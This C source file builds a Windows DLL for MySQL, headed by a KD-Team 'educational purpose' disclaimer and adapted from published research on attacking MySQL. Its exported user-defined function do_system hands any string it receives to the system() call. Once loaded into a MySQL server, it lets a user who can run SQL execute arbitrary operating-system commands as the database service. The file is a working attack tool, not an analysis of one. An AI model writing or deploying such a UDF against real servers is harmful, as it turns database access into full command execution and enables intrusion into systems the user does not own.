DiabloHorn

/*
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+This is a little Disclaimer for if you havn't read the one on our site.       +
+The tools and tutorials KD-Team develops and publishes are only ment for          +
+educational purpose only.WE DO NOT encourage the use of this tools and            +
+tutorials for mailicious purpose.We learned a lot during the development of them  +
+so we hope you also learn and don't just use it without any brains.           +
+We take completly NO responsability for any damage caused by them nor             +
+are we or our isp responsible for what you do with them.              +
+Greetz: KD-Team                                           +
+http://www.kd-team.com                                            +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/*
  This has been slightly modified for WIN32 By DiabloHorn Member of Kd-Team.com
  Original code: HackProofing MySQL By Chris Anley
*/

BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
    return TRUE;
}

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args
{
    unsigned int arg_count; /* Number of arguments */
    enum Item_result *arg_type; /* Pointer to item_results */
    char **args; /* Pointer to argument */
    unsigned long *lengths; /* Length of string arguments */
    char *maybe_null; /* Set to 1 for all maybe_null args */
    //Page 18;
} UDF_ARGS;

typedef struct st_udf_init
{
    char maybe_null; /* 1 if function can return NULL */
    unsigned int decimals; /* for real functions */
    unsigned long max_length; /* For string functions */
    char *ptr; /* free pointer for function data */
    char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;

extern "C" __declspec (dllexport) int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if( args->arg_count != 1 )
    {
        return 0;
    }

    system( args->args[0] );

    return 0;
}